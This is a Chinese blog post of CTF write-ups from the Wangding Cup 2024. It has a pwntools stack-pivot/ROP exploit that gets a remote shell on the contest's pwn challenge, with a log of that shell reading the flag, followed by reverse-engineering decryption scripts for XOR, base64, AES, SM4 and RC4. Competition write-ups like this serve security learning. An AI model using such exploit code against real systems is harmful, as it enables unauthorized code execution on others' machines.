初赛 赛题名称:pwn2 解题步骤: 第一步: 32位的一个栈迁移
首先打开是一个最简单栈溢出和32位rop链
但是仔细看了一下read函数限制了最大长度只有8字节,rbp和返回地址
加上上面的%p泄露了一下rsp的地址
然后就在栈上进行一下栈迁移一个就行了。
前面有一个用户的登录和密码
ida直接打开就能看见
第二步: 这里借鉴了一下BUUCTF-ciscn_2019_es_2
因为这里直接是给了栈顶的位置
我们直接进行接一下就行了。因为存在格式化字符串漏洞%p直接进行泄露就行了
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *from struct import packimport ctypesdef bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sb (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] pr = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) context(os='linux' ,arch='i386' ,log_level='debug' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./short' ) p=remote('0192d5d8e2247dfea660458022f23a25.2jt3.dg10.ciihw.cn' ,46258 ) rl('username:' ) sl('admin' ) rl('password:' ) sl('admin123' ) rl(b'this: ' ) rsp=int (p.recv(10 ),16 ) print (hex (rsp))system_addr=0x80484A0 bin_addr=0x804A038 ret_addr=0x080483fa leave_ret=0x08048555 rl('msg:\n' ) payload2=b'aaaa' +p32(system_addr)+p32(ret_addr)+p32(bin_addr) payload2=payload2.ljust(0x50 ,b'\x00' ) payload2+=p32(rsp)+p32(leave_ret) sl(payload2) ''' payload =b'a'*(0x50+4)+p32(system_addr)+b'aaaa'+p32(bin_addr) s(payload) #p.sendline("/bin/sh") #p.interactive() ''' inter()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x2a bytes: b'bin\n' b'dev\n' b'flag\n' b'lib\n' b'lib32\n' b'lib64\n' b'libx32\n' b'short\n' bin dev flag lib lib32 lib64 libx32 short $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x29 bytes: b'wdflag{mq1ahgrcurty837b78pbymtnq8we5a9n}\n' wdflag{mq1ahgrcurty837b78pbymtnq8we5a9n} [*] Got EOF while reading in interactive $
赛题名称:re2 解题步骤: 第一步: 丢进ida里面看了一眼,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 int __fastcall main (int argc, const char **argv, const char **envp) { char v4[16 ]; char v5[48 ]; char v6[256 ]; char v7[16 ]; __int64 v8[2 ]; __int64 v9[2 ]; char v10[16 ]; char v11[16 ]; char v12[16 ]; char s2[16 ]; char s1[16 ]; char dest[16 ]; __int64 v16; _BYTE v17[24 ]; char s[7 ]; _BYTE v19[41 ]; char *v20; const char *v21; int k; int j; int i; printf ("Enter the flag:" ); if ( fgets (s, 41 , stdin) ) s[strcspn (s, "\n" )] = 0 ; if ( strlen (s) != 40 || strncmp (s, "wdflag{" , 7uLL ) || v19[32 ] != '}' ) return 1 ; memcpy (dest, v19, 0x20uLL ); v17[8 ] = 0 ; s2[0 ] = 114 ; s2[1 ] = -54 ; s2[2 ] = 112 ; s2[3 ] = 106 ; s2[4 ] = 106 ; s2[5 ] = -60 ; s2[6 ] = -62 ; s2[7 ] = -54 ; for ( i = 0 ; i <= 7 ; ++i ) s1[i] = 2 * dest[i]; if ( memcmp (s1, s2, 8uLL ) ) return 1 ; v21 = "XorrLord" ; qmemcpy (v11, "`\tK" , 3 ); v11[3 ] = 19 ; v11[4 ] = 45 ; v11[5 ] = 14 ; v11[6 ] = 20 ; v11[7 ] = 1 ; for ( j = 8 ; j <= 15 ; ++j ) v12[j - 8 ] = dest[j] ^ v21[j - 8 ]; if ( memcmp (v12, v11, 8uLL ) ) return 1 ; base64_encode (&v16, 8LL , v10); v20 = "QYGyBYKyA2K" ; if ( strcmp (v10, "QYGyBYKyA2K" ) ) return 1 ; qmemcpy (v9, "AesMasterAesMast" , sizeof (v9)); v8[0 ] = 0LL ; v8[1 ] = 0LL ; memcpy (v8, v17, 8uLL ); for ( k = 8 ; k <= 15 ; ++k ) *(v8 + k) = 8 ; AES_set_encrypt_key (v9, 128LL , v6); AES_encrypt (v8, v7, v6); hex_to_string (v7, 16LL , v5); v4[0 ] = -67 ; v4[1 ] = -11 ; v4[2 ] = 89 ; v4[3 ] = -122 ; v4[4 ] = 57 ; v4[5 ] = 68 ; v4[6 ] = 52 ; v4[7 ] = 96 ; v4[8 ] = -120 ; v4[9 ] = -15 ; v4[10 ] = 109 ; v4[11 ] = -60 ; v4[12 ] = 25 ; v4[13 ] = -33 ; v4[14 ] = -125 ; v4[15 ] = 6 ; if ( memcmp (v7, v4, 0x10uLL ) ) return 1 ; puts ("Correct Flag!" ); return 0 ; }
发现就是几个加密直接进行解密就行了
第二步: 除2解密
1 2 3 4 src1 = [0x72 , 0xCA , 0x70 , 0x6A , 0x6A , 0xC4 , 0xC2 , 0xCA ] for i in range (len (src1)): print (chr (src1[i] // 2 ), end='' )
异或
1 2 3 4 5 6 7 8 src2=[0x60 ,0x9 ,0x4b ,0x13 ,0x2d ,0xe ,0x14 ,0x1 ,0x8 ] key='XorrLord' flag='' for i in range (len (src2)): flag+=chr (src[i]^ord (key[i])) print (flag)
换表
1 2 3 4 5 6 7 8 9 10 11 12 import base64import stringstr1 = "QYGyBYKyA2K=" string1 = "CDEFGHIJKLMNOPQRSTUVWXYZABabcdefghijklmnopqrstuvwxyz0123456789+/" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" print (base64.b64decode(str1.translate(str .maketrans(string1,string2))))
AES解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from Crypto.Cipher import AESkey = b"AesMasterAesMast" ciphertext = bytes ([ 0xBD , 0xF5 , 0x59 , 0x86 , 0x39 , 0x44 , 0x34 , 0x60 , 0x88 , 0xF1 , 0x6D , 0xC4 , 0x19 , 0xDF , 0x83 , 0x06 ]) decrypt_cipher = AES.new(key, AES.MODE_ECB) decrypted_plaintext = decrypt_cipher.decrypt(ciphertext) print ("Decrypted Plaintext (as bytes):" , decrypted_plaintext)try : decrypted_string = decrypted_plaintext.decode('utf-8' ) except UnicodeDecodeError: decrypted_string = decrypted_plaintext print ("Decrypted Plaintext (as string):" , decrypted_string)
拼接flag wdflag{9e855bae8f9aaafe9a2eb2cbd8823519}
赛题名称:re1 解题步骤: 第一步: 打开看见是一个安卓逆向,
用jadx打开,进去先找一下加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package v0;import android.view.View;import android.widget.EditText;import android.widget.Toast;import com.ctf.cma.Check;import com.ctf.cma.MainActivity;import com.ctf.cma.R;public final class b implements View .OnClickListener { public final MainActivity f3082b; public b (MainActivity mainActivity) { this .f3082b = mainActivity; } @Override public final void onClick (View view) { String trim = ((EditText) this .f3082b.f1519o.c).getText().toString().trim(); if (trim.isEmpty()) { return ; } if (Check.validate(trim)) { MainActivity mainActivity = this .f3082b; Toast.makeText(mainActivity, mainActivity.getString(R.string.tips_success), 0 ).show(); return ; } MainActivity mainActivity2 = this .f3082b; Toast.makeText(mainActivity2, mainActivity2.getString(R.string.tips_failed), 0 ).show(); ((EditText) this .f3082b.f1519o.c).getText().clear(); } }
锁定一下核心加密方法,这里有一个check机制
跟踪一下进去看看。
chatgpt解释一下
其实整体就是一个native层加密逻辑
第二步 然后我们进行解包一下,找到之后用ida打开找到加密方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 char __fastcall sub_6E0 (__int64 a1, __int64 a2, __int64 a3) { const char *v3; int v4; char *v5; int v6; int v7; __int128 *v8; __int64 v9; char v11[4 ]; char v12[132 ]; unsigned __int64 v13; v13 = __readfsqword(0x28u ); v3 = (*(*a1 + 1352LL ))(a1, a3, 0LL ); sub_940 (v11); xmmword_3130 = 0LL ; xmmword_3120 = 0LL ; xmmword_3110 = 0LL ; xmmword_3100 = 0LL ; xmmword_30F0 = 0LL ; xmmword_30E0 = 0LL ; xmmword_30D0 = 0LL ; xmmword_30C0 = 0LL ; xmmword_30B0 = 0LL ; xmmword_30A0 = 0LL ; xmmword_3090 = 0LL ; xmmword_3080 = 0LL ; xmmword_3070 = 0LL ; xmmword_3060 = 0LL ; xmmword_3050 = 0LL ; *s = 0LL ; xmmword_3230 = 0LL ; xmmword_3220 = 0LL ; xmmword_3210 = 0LL ; xmmword_3200 = 0LL ; xmmword_31F0 = 0LL ; xmmword_31E0 = 0LL ; xmmword_31D0 = 0LL ; xmmword_31C0 = 0LL ; xmmword_31B0 = 0LL ; xmmword_31A0 = 0LL ; xmmword_3190 = 0LL ; xmmword_3180 = 0LL ; xmmword_3170 = 0LL ; xmmword_3160 = 0LL ; xmmword_3150 = 0LL ; xmmword_3140 = 0LL ; strcpy (s, v3); v4 = strlen (v3); if ( v4 == 16 ) { sub_A30 (v12, s, &xmmword_3140); } else { v5 = s; v6 = (strlen (s) >> 4 ) + 16 - v4 % 16 ; if ( v4 % 16 < 16 ) memset (&s[v4], 0 , (15 - v4 % 16 ) + 1LL ); if ( v6 ) { v7 = -v6; v8 = &xmmword_3140; do { sub_A30 (v12, v5, v8); v5 += 16 ; ++v8; ++v7; } while ( v7 ); } } v9 = -5LL ; while ( unk_CB0[v9 + 5 ] == *(&xmmword_3140 + v9 + 5 ) && unk_CB0[v9 + 6 ] == *(&xmmword_3140 + v9 + 6 ) && unk_CB0[v9 + 7 ] == *(&xmmword_3140 + v9 + 7 ) && unk_CB0[v9 + 8 ] == *(&xmmword_3140 + v9 + 8 ) && unk_CB0[v9 + 9 ] == *(&xmmword_3140 + v9 + 9 ) ) { v9 += 5LL ; if ( v9 >= 40 ) return 1 ; } return 0 ; }
直接gpt问一手是一个SM4加密
提取一下密文和密钥
1 2 src='2CC8236F3ACFC7BF515D50B84CB16253A1DE2F1D404A2784A74312B8AF5E765D8CBF106744A385C53F92B5AA1C8EC3DC' key='A1122357Z0099864'
本来想找一下脚本进行解密,后来还是cyberchef接出来的
但是当开始一直不对,后来是问gpt之后是发现存在小段存储的问题,A11223574689900Z
就可以进行正常解密了
拼接flag 解密出来之后套个壳子就行了
wdflag{9ee41cf6-1a65-4bc5-8361-e70c49953a1f}
第一次打网信办的比赛,2024.10.30,记录一下,虽然我只做了一道pwn题
全靠队友。
2024.12.2-网鼎半决线下赛 ok,网鼎半决赛结束后(事一点没干,饭一点没少吃)也是玩了一天,回来后就是复习了一手概率论(啥也不会说是)。
怎么说都是第一次打线下赛,就准备记录一手
re 怎么说呢?最后吭哧吭哧只解出一道re(还是赛后复现出来的,密文提取错了说是)
解压后根据题目分析说是有个流量分析,也很简单,就是追踪一下就可以了
很明显是一个密文。康康ELF文件,大概康康其实就能分析出是RC4了
看一眼RC4
注意密文提取的时候,前面的字节码去除指令就行
ok,然后正常套脚本就行了,呜呜呜~我包fw的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <stdio.h> void rc4_init (unsigned char * s, unsigned char * key, unsigned long Len_k) { int i = 0 , j = 0 ; char k[256 ] = { 0 }; unsigned char tmp = 0 ; for (i = 0 ; i < 256 ; i++) { s[i] = i; k[i] = key[i % Len_k]; } for (i = 0 ; i < 256 ; i++) { j = (j + s[i] + k[i]) % 256 ; tmp = s[i]; s[i] = s[j]; s[j] = tmp; } } void rc4_crypt (unsigned char * Data, unsigned long Len_D, unsigned char * key, unsigned long Len_k) { unsigned char s[256 ]; rc4_init (s, key, Len_k); int i = 0 , j = 0 , t = 0 ; unsigned long k = 0 ; unsigned char tmp; for (k = 0 ; k < Len_D; k++) { i = (i + 1 ) % 256 ; j = (j + s[i]) % 256 ; tmp = s[i]; s[i] = s[j]; s[j] = tmp; t = ((s[i] + s[j]) % 256 ); Data[k] = Data[k] ^ s[t] ^0x25 ; } } int main () { unsigned char key[] = "WangDingCUPKEY!!" ; unsigned long key_len = sizeof (key) - 1 ; unsigned char data[] = { 0x1D ,0x37 ,0xD9 ,0x5B ,0xF0 ,0xA2 ,0x32 ,0xC6 ,0x30 ,0xA7 ,0x8C ,0x50 ,0x7E ,0x3E ,0xA7 ,0x3A ,0xBA ,0xC0 ,0x58 ,0x6B ,0x81 ,0x85 ,0x6B ,0x1C ,0x4C ,0xF5 ,0x80 ,0x7C ,0x8A ,0xC1 ,0x42 ,0x97 ,0x90 ,0xC7 ,0x8A ,0xC1 ,0x42 ,0x97 }; rc4_crypt (data, sizeof (data), key, key_len); for (int i = 0 ; i < sizeof (data); i++) { printf ("%c" , data[i]); } printf ("\n" ); return 0 ; }
flag如下:
flag{Welc0me_t0_7he_WangD1ng_CUP!}
怎么说呢!!☝️🤓
🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌🙌
今天补这个博客最主要的原因还是想记录一下自己的第一次线下赛,好赖都得继续。
咋过不是过!!
特别感谢:
Rweb的队友和指导老师